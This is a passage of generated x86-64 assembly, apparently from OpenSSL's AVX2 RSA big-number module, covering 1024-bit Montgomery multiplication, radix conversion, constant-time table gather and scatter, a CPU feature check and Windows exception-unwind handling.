vpaddq ymm5,ymm5,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-8+256-128))+rcx]
vpaddq ymm6,ymm6,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-8+288-128))+rcx]
vpaddq ymm7,ymm7,ymm0
vpmuludq ymm12,ymm12,ymm11
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm13,ymm13,ymm11
vpaddq ymm9,ymm9,ymm13
vmovdqu ymm0,YMMWORD[((-16+32-128))+rsi]
mov rax,rbx
imul rax,QWORD[((-128))+rsi]
add rax,r11
vmovdqu ymm12,YMMWORD[((-16+64-128))+rsi]
mov r11,rax
imul eax,r8d
and eax,0x1fffffff
imul rbx,QWORD[((8-128))+rsi]
add r12,rbx
vpmuludq ymm0,ymm0,ymm10
vmovd xmm11,eax
vmovdqu ymm13,YMMWORD[((-16+96-128))+rsi]
vpaddq ymm1,ymm1,ymm0
vpmuludq ymm12,ymm12,ymm10
vpbroadcastq ymm11,xmm11
vmovdqu ymm0,YMMWORD[((-16+128-128))+rsi]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm13,ymm13,ymm10
vmovdqu ymm12,YMMWORD[((-16+160-128))+rsi]
vpaddq ymm3,ymm3,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-16+192-128))+rsi]
vpaddq ymm4,ymm4,ymm0
vpmuludq ymm12,ymm12,ymm10
vmovdqu ymm0,YMMWORD[((-16+224-128))+rsi]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm13,ymm13,ymm10
vmovdqu ymm12,YMMWORD[((-16+256-128))+rsi]
vpaddq ymm6,ymm6,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-16+288-128))+rsi]
vpaddq ymm7,ymm7,ymm0
vpmuludq ymm12,ymm12,ymm10
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm13,ymm13,ymm10
vpbroadcastq ymm10,QWORD[24+r13]
vpaddq ymm9,ymm9,ymm13
vmovdqu ymm0,YMMWORD[((-16+32-128))+rcx]
mov rdx,rax
imul rax,QWORD[((-128))+rcx]
add r11,rax
vmovdqu ymm12,YMMWORD[((-16+64-128))+rcx]
imul rdx,QWORD[((8-128))+rcx]
add r12,rdx
shr r11,29
vpmuludq ymm0,ymm0,ymm11
vmovq rbx,xmm10
vmovdqu ymm13,YMMWORD[((-16+96-128))+rcx]
vpaddq ymm1,ymm1,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-16+128-128))+rcx]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-16+160-128))+rcx]
vpaddq ymm3,ymm3,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-16+192-128))+rcx]
vpaddq ymm4,ymm4,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-16+224-128))+rcx]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-16+256-128))+rcx]
vpaddq ymm6,ymm6,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-16+288-128))+rcx]
vpaddq ymm7,ymm7,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-24+32-128))+rsi]
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-24+64-128))+rsi]
vpaddq ymm9,ymm9,ymm13
add r12,r11
imul rbx,QWORD[((-128))+rsi]
add r12,rbx
mov rax,r12
imul eax,r8d
and eax,0x1fffffff
vpmuludq ymm0,ymm0,ymm10
vmovd xmm11,eax
vmovdqu ymm13,YMMWORD[((-24+96-128))+rsi]
vpaddq ymm1,ymm1,ymm0
vpmuludq ymm12,ymm12,ymm10
vpbroadcastq ymm11,xmm11
vmovdqu ymm0,YMMWORD[((-24+128-128))+rsi]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm13,ymm13,ymm10
vmovdqu ymm12,YMMWORD[((-24+160-128))+rsi]
vpaddq ymm3,ymm3,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-24+192-128))+rsi]
vpaddq ymm4,ymm4,ymm0
vpmuludq ymm12,ymm12,ymm10
vmovdqu ymm0,YMMWORD[((-24+224-128))+rsi]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm13,ymm13,ymm10
vmovdqu ymm12,YMMWORD[((-24+256-128))+rsi]
vpaddq ymm6,ymm6,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-24+288-128))+rsi]
vpaddq ymm7,ymm7,ymm0
vpmuludq ymm12,ymm12,ymm10
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm13,ymm13,ymm10
vpbroadcastq ymm10,QWORD[32+r13]
vpaddq ymm9,ymm9,ymm13
add r13,32
vmovdqu ymm0,YMMWORD[((-24+32-128))+rcx]
imul rax,QWORD[((-128))+rcx]
add r12,rax
shr r12,29
vmovdqu ymm12,YMMWORD[((-24+64-128))+rcx]
vpmuludq ymm0,ymm0,ymm11
vmovq rbx,xmm10
vmovdqu ymm13,YMMWORD[((-24+96-128))+rcx]
vpaddq ymm0,ymm1,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu YMMWORD[rsp],ymm0
vpaddq ymm1,ymm2,ymm12
vmovdqu ymm0,YMMWORD[((-24+128-128))+rcx]
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-24+160-128))+rcx]
vpaddq ymm2,ymm3,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-24+192-128))+rcx]
vpaddq ymm3,ymm4,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-24+224-128))+rcx]
vpaddq ymm4,ymm5,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-24+256-128))+rcx]
vpaddq ymm5,ymm6,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-24+288-128))+rcx]
mov r9,r12
vpaddq ymm6,ymm7,ymm0
vpmuludq ymm12,ymm12,ymm11
add r9,QWORD[rsp]
vpaddq ymm7,ymm8,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovq xmm12,r12
vpaddq ymm8,ymm9,ymm13
dec r14d
jnz NEAR $L$oop_mul_1024
vpaddq ymm0,ymm12,YMMWORD[rsp]
vpsrlq ymm12,ymm0,29
vpand ymm0,ymm0,ymm15
vpsrlq ymm13,ymm1,29
vpand ymm1,ymm1,ymm15
vpsrlq ymm10,ymm2,29
vpermq ymm12,ymm12,0x93
vpand ymm2,ymm2,ymm15
vpsrlq ymm11,ymm3,29
vpermq ymm13,ymm13,0x93
vpand ymm3,ymm3,ymm15
vpblendd ymm9,ymm12,ymm14,3
vpermq ymm10,ymm10,0x93
vpblendd ymm12,ymm13,ymm12,3
vpermq ymm11,ymm11,0x93
vpaddq ymm0,ymm0,ymm9
vpblendd ymm13,ymm10,ymm13,3
vpaddq ymm1,ymm1,ymm12
vpblendd ymm10,ymm11,ymm10,3
vpaddq ymm2,ymm2,ymm13
vpblendd ymm11,ymm14,ymm11,3
vpaddq ymm3,ymm3,ymm10
vpaddq ymm4,ymm4,ymm11
vpsrlq ymm12,ymm0,29
vpand ymm0,ymm0,ymm15
vpsrlq ymm13,ymm1,29
vpand ymm1,ymm1,ymm15
vpsrlq ymm10,ymm2,29
vpermq ymm12,ymm12,0x93
vpand ymm2,ymm2,ymm15
vpsrlq ymm11,ymm3,29
vpermq ymm13,ymm13,0x93
vpand ymm3,ymm3,ymm15
vpermq ymm10,ymm10,0x93
vpblendd ymm9,ymm12,ymm14,3
vpermq ymm11,ymm11,0x93
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm0,ymm0,ymm9
vpblendd ymm13,ymm10,ymm13,3
vpaddq ymm1,ymm1,ymm12
vpblendd ymm10,ymm11,ymm10,3
vpaddq ymm2,ymm2,ymm13
vpblendd ymm11,ymm14,ymm11,3
vpaddq ymm3,ymm3,ymm10
vpaddq ymm4,ymm4,ymm11
vmovdqu YMMWORD[(0-128)+rdi],ymm0
vmovdqu YMMWORD[(32-128)+rdi],ymm1
vmovdqu YMMWORD[(64-128)+rdi],ymm2
vmovdqu YMMWORD[(96-128)+rdi],ymm3
vpsrlq ymm12,ymm4,29
vpand ymm4,ymm4,ymm15
vpsrlq ymm13,ymm5,29
vpand ymm5,ymm5,ymm15
vpsrlq ymm10,ymm6,29
vpermq ymm12,ymm12,0x93
vpand ymm6,ymm6,ymm15
vpsrlq ymm11,ymm7,29
vpermq ymm13,ymm13,0x93
vpand ymm7,ymm7,ymm15
vpsrlq ymm0,ymm8,29
vpermq ymm10,ymm10,0x93
vpand ymm8,ymm8,ymm15
vpermq ymm11,ymm11,0x93
vpblendd ymm9,ymm12,ymm14,3
vpermq ymm0,ymm0,0x93
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm4,ymm4,ymm9
vpblendd ymm13,ymm10,ymm13,3
vpaddq ymm5,ymm5,ymm12
vpblendd ymm10,ymm11,ymm10,3
vpaddq ymm6,ymm6,ymm13
vpblendd ymm11,ymm0,ymm11,3
vpaddq ymm7,ymm7,ymm10
vpaddq ymm8,ymm8,ymm11
vpsrlq ymm12,ymm4,29
vpand ymm4,ymm4,ymm15
vpsrlq ymm13,ymm5,29
vpand ymm5,ymm5,ymm15
vpsrlq ymm10,ymm6,29
vpermq ymm12,ymm12,0x93
vpand ymm6,ymm6,ymm15
vpsrlq ymm11,ymm7,29
vpermq ymm13,ymm13,0x93
vpand ymm7,ymm7,ymm15
vpsrlq ymm0,ymm8,29
vpermq ymm10,ymm10,0x93
vpand ymm8,ymm8,ymm15
vpermq ymm11,ymm11,0x93
vpblendd ymm9,ymm12,ymm14,3
vpermq ymm0,ymm0,0x93
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm4,ymm4,ymm9
vpblendd ymm13,ymm10,ymm13,3
vpaddq ymm5,ymm5,ymm12
vpblendd ymm10,ymm11,ymm10,3
vpaddq ymm6,ymm6,ymm13
vpblendd ymm11,ymm0,ymm11,3
vpaddq ymm7,ymm7,ymm10
vpaddq ymm8,ymm8,ymm11
vmovdqu YMMWORD[(128-128)+rdi],ymm4
vmovdqu YMMWORD[(160-128)+rdi],ymm5
vmovdqu YMMWORD[(192-128)+rdi],ymm6
vmovdqu YMMWORD[(224-128)+rdi],ymm7
vmovdqu YMMWORD[(256-128)+rdi],ymm8
vzeroupper
mov rax,rbp
$L$mul_1024_in_tail:
movaps xmm6,XMMWORD[((-216))+rax]
movaps xmm7,XMMWORD[((-200))+rax]
movaps xmm8,XMMWORD[((-184))+rax]
movaps xmm9,XMMWORD[((-168))+rax]
movaps xmm10,XMMWORD[((-152))+rax]
movaps xmm11,XMMWORD[((-136))+rax]
movaps xmm12,XMMWORD[((-120))+rax]
movaps xmm13,XMMWORD[((-104))+rax]
movaps xmm14,XMMWORD[((-88))+rax]
movaps xmm15,XMMWORD[((-72))+rax]
mov r15,QWORD[((-48))+rax]
mov r14,QWORD[((-40))+rax]
mov r13,QWORD[((-32))+rax]
mov r12,QWORD[((-24))+rax]
mov rbp,QWORD[((-16))+rax]
mov rbx,QWORD[((-8))+rax]
lea rsp,[rax]
$L$mul_1024_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_1024_mul_avx2:
global rsaz_1024_red2norm_avx2
ALIGN 32
rsaz_1024_red2norm_avx2:
sub rdx,-128
xor rax,rax
mov r8,QWORD[((-128))+rdx]
mov r9,QWORD[((-120))+rdx]
mov r10,QWORD[((-112))+rdx]
shl r8,0
shl r9,29
mov r11,r10
shl r10,58
shr r11,6
add rax,r8
add rax,r9
add rax,r10
adc r11,0
mov QWORD[rcx],rax
mov rax,r11
mov r8,QWORD[((-104))+rdx]
mov r9,QWORD[((-96))+rdx]
shl r8,23
mov r10,r9
shl r9,52
shr r10,12
add rax,r8
add rax,r9
adc r10,0
mov QWORD[8+rcx],rax
mov rax,r10
mov r11,QWORD[((-88))+rdx]
mov r8,QWORD[((-80))+rdx]
shl r11,17
mov r9,r8
shl r8,46
shr r9,18
add rax,r11
add rax,r8
adc r9,0
mov QWORD[16+rcx],rax
mov rax,r9
mov r10,QWORD[((-72))+rdx]
mov r11,QWORD[((-64))+rdx]
shl r10,11
mov r8,r11
shl r11,40
shr r8,24
add rax,r10
add rax,r11
adc r8,0
mov QWORD[24+rcx],rax
mov rax,r8
mov r9,QWORD[((-56))+rdx]
mov r10,QWORD[((-48))+rdx]
mov r11,QWORD[((-40))+rdx]
shl r9,5
shl r10,34
mov r8,r11
shl r11,63
shr r8,1
add rax,r9
add rax,r10
add rax,r11
adc r8,0
mov QWORD[32+rcx],rax
mov rax,r8
mov r9,QWORD[((-32))+rdx]
mov r10,QWORD[((-24))+rdx]
shl r9,28
mov r11,r10
shl r10,57
shr r11,7
add rax,r9
add rax,r10
adc r11,0
mov QWORD[40+rcx],rax
mov rax,r11
mov r8,QWORD[((-16))+rdx]
mov r9,QWORD[((-8))+rdx]
shl r8,22
mov r10,r9
shl r9,51
shr r10,13
add rax,r8
add rax,r9
adc r10,0
mov QWORD[48+rcx],rax
mov rax,r10
mov r11,QWORD[rdx]
mov r8,QWORD[8+rdx]
shl r11,16
mov r9,r8
shl r8,45
shr r9,19
add rax,r11
add rax,r8
adc r9,0
mov QWORD[56+rcx],rax
mov rax,r9
mov r10,QWORD[16+rdx]
mov r11,QWORD[24+rdx]
shl r10,10
mov r8,r11
shl r11,39
shr r8,25
add rax,r10
add rax,r11
adc r8,0
mov QWORD[64+rcx],rax
mov rax,r8
mov r9,QWORD[32+rdx]
mov r10,QWORD[40+rdx]
mov r11,QWORD[48+rdx]
shl r9,4
shl r10,33
mov r8,r11
shl r11,62
shr r8,2
add rax,r9
add rax,r10
add rax,r11
adc r8,0
mov QWORD[72+rcx],rax
mov rax,r8
mov r9,QWORD[56+rdx]
mov r10,QWORD[64+rdx]
shl r9,27
mov r11,r10
shl r10,56
shr r11,8
add rax,r9
add rax,r10
adc r11,0
mov QWORD[80+rcx],rax
mov rax,r11
mov r8,QWORD[72+rdx]
mov r9,QWORD[80+rdx]
shl r8,21
mov r10,r9
shl r9,50
shr r10,14
add rax,r8
add rax,r9
adc r10,0
mov QWORD[88+rcx],rax
mov rax,r10
mov r11,QWORD[88+rdx]
mov r8,QWORD[96+rdx]
shl r11,15
mov r9,r8
shl r8,44
shr r9,20
add rax,r11
add rax,r8
adc r9,0
mov QWORD[96+rcx],rax
mov rax,r9
mov r10,QWORD[104+rdx]
mov r11,QWORD[112+rdx]
shl r10,9
mov r8,r11
shl r11,38
shr r8,26
add rax,r10
add rax,r11
adc r8,0
mov QWORD[104+rcx],rax
mov rax,r8
mov r9,QWORD[120+rdx]
mov r10,QWORD[128+rdx]
mov r11,QWORD[136+rdx]
shl r9,3
shl r10,32
mov r8,r11
shl r11,61
shr r8,3
add rax,r9
add rax,r10
add rax,r11
adc r8,0
mov QWORD[112+rcx],rax
mov rax,r8
mov r9,QWORD[144+rdx]
mov r10,QWORD[152+rdx]
shl r9,26
mov r11,r10
shl r10,55
shr r11,9
add rax,r9
add rax,r10
adc r11,0
mov QWORD[120+rcx],rax
mov rax,r11
DB 0F3h,0C3h ;repret
global rsaz_1024_norm2red_avx2
ALIGN 32
rsaz_1024_norm2red_avx2:
sub rcx,-128
mov r8,QWORD[rdx]
mov eax,0x1fffffff
mov r9,QWORD[8+rdx]
mov r11,r8
shr r11,0
and r11,rax
mov QWORD[((-128))+rcx],r11
mov r10,r8
shr r10,29
and r10,rax
mov QWORD[((-120))+rcx],r10
shrd r8,r9,58
and r8,rax
mov QWORD[((-112))+rcx],r8
mov r10,QWORD[16+rdx]
mov r8,r9
shr r8,23
and r8,rax
mov QWORD[((-104))+rcx],r8
shrd r9,r10,52
and r9,rax
mov QWORD[((-96))+rcx],r9
mov r11,QWORD[24+rdx]
mov r9,r10
shr r9,17
and r9,rax
mov QWORD[((-88))+rcx],r9
shrd r10,r11,46
and r10,rax
mov QWORD[((-80))+rcx],r10
mov r8,QWORD[32+rdx]
mov r10,r11
shr r10,11
and r10,rax
mov QWORD[((-72))+rcx],r10
shrd r11,r8,40
and r11,rax
mov QWORD[((-64))+rcx],r11
mov r9,QWORD[40+rdx]
mov r11,r8
shr r11,5
and r11,rax
mov QWORD[((-56))+rcx],r11
mov r10,r8
shr r10,34
and r10,rax
mov QWORD[((-48))+rcx],r10
shrd r8,r9,63
and r8,rax
mov QWORD[((-40))+rcx],r8
mov r10,QWORD[48+rdx]
mov r8,r9
shr r8,28
and r8,rax
mov QWORD[((-32))+rcx],r8
shrd r9,r10,57
and r9,rax
mov QWORD[((-24))+rcx],r9
mov r11,QWORD[56+rdx]
mov r9,r10
shr r9,22
and r9,rax
mov QWORD[((-16))+rcx],r9
shrd r10,r11,51
and r10,rax
mov QWORD[((-8))+rcx],r10
mov r8,QWORD[64+rdx]
mov r10,r11
shr r10,16
and r10,rax
mov QWORD[rcx],r10
shrd r11,r8,45
and r11,rax
mov QWORD[8+rcx],r11
mov r9,QWORD[72+rdx]
mov r11,r8
shr r11,10
and r11,rax
mov QWORD[16+rcx],r11
shrd r8,r9,39
and r8,rax
mov QWORD[24+rcx],r8
mov r10,QWORD[80+rdx]
mov r8,r9
shr r8,4
and r8,rax
mov QWORD[32+rcx],r8
mov r11,r9
shr r11,33
and r11,rax
mov QWORD[40+rcx],r11
shrd r9,r10,62
and r9,rax
mov QWORD[48+rcx],r9
mov r11,QWORD[88+rdx]
mov r9,r10
shr r9,27
and r9,rax
mov QWORD[56+rcx],r9
shrd r10,r11,56
and r10,rax
mov QWORD[64+rcx],r10
mov r8,QWORD[96+rdx]
mov r10,r11
shr r10,21
and r10,rax
mov QWORD[72+rcx],r10
shrd r11,r8,50
and r11,rax
mov QWORD[80+rcx],r11
mov r9,QWORD[104+rdx]
mov r11,r8
shr r11,15
and r11,rax
mov QWORD[88+rcx],r11
shrd r8,r9,44
and r8,rax
mov QWORD[96+rcx],r8
mov r10,QWORD[112+rdx]
mov r8,r9
shr r8,9
and r8,rax
mov QWORD[104+rcx],r8
shrd r9,r10,38
and r9,rax
mov QWORD[112+rcx],r9
mov r11,QWORD[120+rdx]
mov r9,r10
shr r9,3
and r9,rax
mov QWORD[120+rcx],r9
mov r8,r10
shr r8,32
and r8,rax
mov QWORD[128+rcx],r8
shrd r10,r11,61
and r10,rax
mov QWORD[136+rcx],r10
xor r8,r8
mov r10,r11
shr r10,26
and r10,rax
mov QWORD[144+rcx],r10
shrd r11,r8,55
and r11,rax
mov QWORD[152+rcx],r11
mov QWORD[160+rcx],r8
mov QWORD[168+rcx],r8
mov QWORD[176+rcx],r8
mov QWORD[184+rcx],r8
DB 0F3h,0C3h ;repret
global rsaz_1024_scatter5_avx2
ALIGN 32
rsaz_1024_scatter5_avx2:
vzeroupper
vmovdqu ymm5,YMMWORD[$L$scatter_permd]
shl r8d,4
lea rcx,[r8*1+rcx]
mov eax,9
jmp NEAR $L$oop_scatter_1024
ALIGN 32
$L$oop_scatter_1024:
vmovdqu ymm0,YMMWORD[rdx]
lea rdx,[32+rdx]
vpermd ymm0,ymm5,ymm0
vmovdqu XMMWORD[rcx],xmm0
lea rcx,[512+rcx]
dec eax
jnz NEAR $L$oop_scatter_1024
vzeroupper
DB 0F3h,0C3h ;repret
global rsaz_1024_gather5_avx2
ALIGN 32
rsaz_1024_gather5_avx2:
vzeroupper
mov r11,rsp
lea rax,[((-136))+rsp]
$L$SEH_begin_rsaz_1024_gather5:
DB 0x48,0x8d,0x60,0xe0
DB 0xc5,0xf8,0x29,0x70,0xe0
DB 0xc5,0xf8,0x29,0x78,0xf0
DB 0xc5,0x78,0x29,0x40,0x00
DB 0xc5,0x78,0x29,0x48,0x10
DB 0xc5,0x78,0x29,0x50,0x20
DB 0xc5,0x78,0x29,0x58,0x30
DB 0xc5,0x78,0x29,0x60,0x40
DB 0xc5,0x78,0x29,0x68,0x50
DB 0xc5,0x78,0x29,0x70,0x60
DB 0xc5,0x78,0x29,0x78,0x70
lea rsp,[((-256))+rsp]
and rsp,-32
lea r10,[$L$inc]
lea rax,[((-128))+rsp]
vmovd xmm4,r8d
vmovdqa ymm0,YMMWORD[r10]
vmovdqa ymm1,YMMWORD[32+r10]
vmovdqa ymm5,YMMWORD[64+r10]
vpbroadcastd ymm4,xmm4
vpaddd ymm2,ymm0,ymm5
vpcmpeqd ymm0,ymm0,ymm4
vpaddd ymm3,ymm1,ymm5
vpcmpeqd ymm1,ymm1,ymm4
vmovdqa YMMWORD[(0+128)+rax],ymm0
vpaddd ymm0,ymm2,ymm5
vpcmpeqd ymm2,ymm2,ymm4
vmovdqa YMMWORD[(32+128)+rax],ymm1
vpaddd ymm1,ymm3,ymm5
vpcmpeqd ymm3,ymm3,ymm4
vmovdqa YMMWORD[(64+128)+rax],ymm2
vpaddd ymm2,ymm0,ymm5
vpcmpeqd ymm0,ymm0,ymm4
vmovdqa YMMWORD[(96+128)+rax],ymm3
vpaddd ymm3,ymm1,ymm5
vpcmpeqd ymm1,ymm1,ymm4
vmovdqa YMMWORD[(128+128)+rax],ymm0
vpaddd ymm8,ymm2,ymm5
vpcmpeqd ymm2,ymm2,ymm4
vmovdqa YMMWORD[(160+128)+rax],ymm1
vpaddd ymm9,ymm3,ymm5
vpcmpeqd ymm3,ymm3,ymm4
vmovdqa YMMWORD[(192+128)+rax],ymm2
vpaddd ymm10,ymm8,ymm5
vpcmpeqd ymm8,ymm8,ymm4
vmovdqa YMMWORD[(224+128)+rax],ymm3
vpaddd ymm11,ymm9,ymm5
vpcmpeqd ymm9,ymm9,ymm4
vpaddd ymm12,ymm10,ymm5
vpcmpeqd ymm10,ymm10,ymm4
vpaddd ymm13,ymm11,ymm5
vpcmpeqd ymm11,ymm11,ymm4
vpaddd ymm14,ymm12,ymm5
vpcmpeqd ymm12,ymm12,ymm4
vpaddd ymm15,ymm13,ymm5
vpcmpeqd ymm13,ymm13,ymm4
vpcmpeqd ymm14,ymm14,ymm4
vpcmpeqd ymm15,ymm15,ymm4
vmovdqa ymm7,YMMWORD[((-32))+r10]
lea rdx,[128+rdx]
mov r8d,9
$L$oop_gather_1024:
vmovdqa ymm0,YMMWORD[((0-128))+rdx]
vmovdqa ymm1,YMMWORD[((32-128))+rdx]
vmovdqa ymm2,YMMWORD[((64-128))+rdx]
vmovdqa ymm3,YMMWORD[((96-128))+rdx]
vpand ymm0,ymm0,YMMWORD[((0+128))+rax]
vpand ymm1,ymm1,YMMWORD[((32+128))+rax]
vpand ymm2,ymm2,YMMWORD[((64+128))+rax]
vpor ymm4,ymm1,ymm0
vpand ymm3,ymm3,YMMWORD[((96+128))+rax]
vmovdqa ymm0,YMMWORD[((128-128))+rdx]
vmovdqa ymm1,YMMWORD[((160-128))+rdx]
vpor ymm5,ymm3,ymm2
vmovdqa ymm2,YMMWORD[((192-128))+rdx]
vmovdqa ymm3,YMMWORD[((224-128))+rdx]
vpand ymm0,ymm0,YMMWORD[((128+128))+rax]
vpand ymm1,ymm1,YMMWORD[((160+128))+rax]
vpand ymm2,ymm2,YMMWORD[((192+128))+rax]
vpor ymm4,ymm4,ymm0
vpand ymm3,ymm3,YMMWORD[((224+128))+rax]
vpand ymm0,ymm8,YMMWORD[((256-128))+rdx]
vpor ymm5,ymm5,ymm1
vpand ymm1,ymm9,YMMWORD[((288-128))+rdx]
vpor ymm4,ymm4,ymm2
vpand ymm2,ymm10,YMMWORD[((320-128))+rdx]
vpor ymm5,ymm5,ymm3
vpand ymm3,ymm11,YMMWORD[((352-128))+rdx]
vpor ymm4,ymm4,ymm0
vpand ymm0,ymm12,YMMWORD[((384-128))+rdx]
vpor ymm5,ymm5,ymm1
vpand ymm1,ymm13,YMMWORD[((416-128))+rdx]
vpor ymm4,ymm4,ymm2
vpand ymm2,ymm14,YMMWORD[((448-128))+rdx]
vpor ymm5,ymm5,ymm3
vpand ymm3,ymm15,YMMWORD[((480-128))+rdx]
lea rdx,[512+rdx]
vpor ymm4,ymm4,ymm0
vpor ymm5,ymm5,ymm1
vpor ymm4,ymm4,ymm2
vpor ymm5,ymm5,ymm3
vpor ymm4,ymm4,ymm5
vextracti128 xmm5,ymm4,1
vpor xmm5,xmm5,xmm4
vpermd ymm5,ymm7,ymm5
vmovdqu YMMWORD[rcx],ymm5
lea rcx,[32+rcx]
dec r8d
jnz NEAR $L$oop_gather_1024
vpxor ymm0,ymm0,ymm0
vmovdqu YMMWORD[rcx],ymm0
vzeroupper
movaps xmm6,XMMWORD[((-168))+r11]
movaps xmm7,XMMWORD[((-152))+r11]
movaps xmm8,XMMWORD[((-136))+r11]
movaps xmm9,XMMWORD[((-120))+r11]
movaps xmm10,XMMWORD[((-104))+r11]
movaps xmm11,XMMWORD[((-88))+r11]
movaps xmm12,XMMWORD[((-72))+r11]
movaps xmm13,XMMWORD[((-56))+r11]
movaps xmm14,XMMWORD[((-40))+r11]
movaps xmm15,XMMWORD[((-24))+r11]
lea rsp,[r11]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_1024_gather5:
EXTERN OPENSSL_ia32cap_P
global rsaz_avx2_eligible
ALIGN 32
rsaz_avx2_eligible:
lea rax,[OPENSSL_ia32cap_P]
mov eax,DWORD[8+rax]
mov ecx,524544
mov edx,0
and ecx,eax
cmp ecx,524544
cmove eax,edx
and eax,32
shr eax,5
DB 0F3h,0C3h ;repret
ALIGN 64
$L$and_mask:
DQ 0x1fffffff,0x1fffffff,0x1fffffff,0x1fffffff
$L$scatter_permd:
DD 0,2,4,6,7,7,7,7
$L$gather_permd:
DD 0,7,1,7,2,7,3,7
$L$inc:
DD 0,0,0,0,1,1,1,1
DD 2,2,2,2,3,3,3,3
DD 4,4,4,4,4,4,4,4
ALIGN 64
EXTERN __imp_RtlVirtualUnwind
ALIGN 16
rsaz_se_handler:
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD[120+r8]
mov rbx,QWORD[248+r8]
mov rsi,QWORD[8+r9]
mov r11,QWORD[56+r9]
mov r10d,DWORD[r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jb NEAR $L$common_seh_tail
mov r10d,DWORD[4+r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jae NEAR $L$common_seh_tail
mov rbp,QWORD[160+r8]
mov r10d,DWORD[8+r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
cmovc rax,rbp
mov r15,QWORD[((-48))+rax]
mov r14,QWORD[((-40))+rax]
mov r13,QWORD[((-32))+rax]
mov r12,QWORD[((-24))+rax]
mov rbp,QWORD[((-16))+rax]
mov rbx,QWORD[((-8))+rax]
mov QWORD[240+r8],r15
mov QWORD[232+r8],r14
mov QWORD[224+r8],r13
mov QWORD[216+r8],r12
mov QWORD[160+r8],rbp
mov QWORD[144+r8],rbx
lea rsi,[((-216))+rax]
lea rdi,[512+r8]
mov ecx,20
DD 0xa548f3fc
$L$common_seh_tail:
mov rdi,QWORD[8+rax]
mov rsi,QWORD[16+rax]
mov QWORD[152+r8],rax
mov QWORD[168+r8],rsi
mov QWORD[176+r8],rdi
mov rdi,QWORD[40+r9]
mov rsi,r8
mov ecx,154
DD 0xa548f3fc
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD[8+rsi]
mov r8,QWORD[rsi]
mov r9,QWORD[16+rsi]
mov r10,QWORD[40+rsi]
lea r11,[56+rsi]
lea r12,[24+rsi]
mov QWORD[32+rsp],r10
mov QWORD[40+rsp],r11
mov QWORD[48+rsp],r12
mov QWORD[56+rsp],rcx
call QWORD[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
section .pdata rdata align=4
ALIGN 4
DD $L$SEH_begin_rsaz_1024_sqr_avx2 wrt ..imagebase
DD $L$SEH_end_rsaz_1024_sqr_avx2 wrt ..imagebase
DD $L$SEH_info_rsaz_1024_sqr_avx2 wrt ..imagebase
DD $L$SEH_begin_rsaz_1024_mul_avx2 wrt ..imagebase
DD $L$SEH_end_rsaz_1024_mul_avx2 wrt ..imagebase
DD $L$SEH_info_rsaz_1024_mul_avx2 wrt ..imagebase
DD $L$SEH_begin_rsaz_1024_gather5 wrt ..imagebase
DD $L$SEH_end_rsaz_1024_gather5 wrt ..imagebase
DD $L$SEH_info_rsaz_1024_gather5 wrt ..imagebase
section .xdata rdata align=8
ALIGN 8
$L$SEH_info_rsaz_1024_sqr_avx2:
DB 9,0,0,0
DD rsaz_se_handler wrt ..imagebase
DD $L$sqr_1024_body wrt ..imagebase,$L$sqr_1024_epilogue wrt ..imagebase,$L$sqr_1024_in_tail wrt ..imagebase
DD 0
$L$SEH_info_rsaz_1024_mul_avx2:
DB 9,0,0,0
DD rsaz_se_handler wrt ..imagebase
DD $L$mul_1024_body wrt ..imagebase,$L$mul_1024_epilogue wrt ..imagebase,$L$mul_1024_in_tail wrt ..imagebase
DD 0
$L$SEH_info_rsaz_1024_gather5:
DB 0x01,0x36,0x17,0x0b
DB 0x36,0xf8,0x09,0x00
DB 0x31,0xe8,0x08,0x00
DB 0x2c,0xd8,0x07,0x00
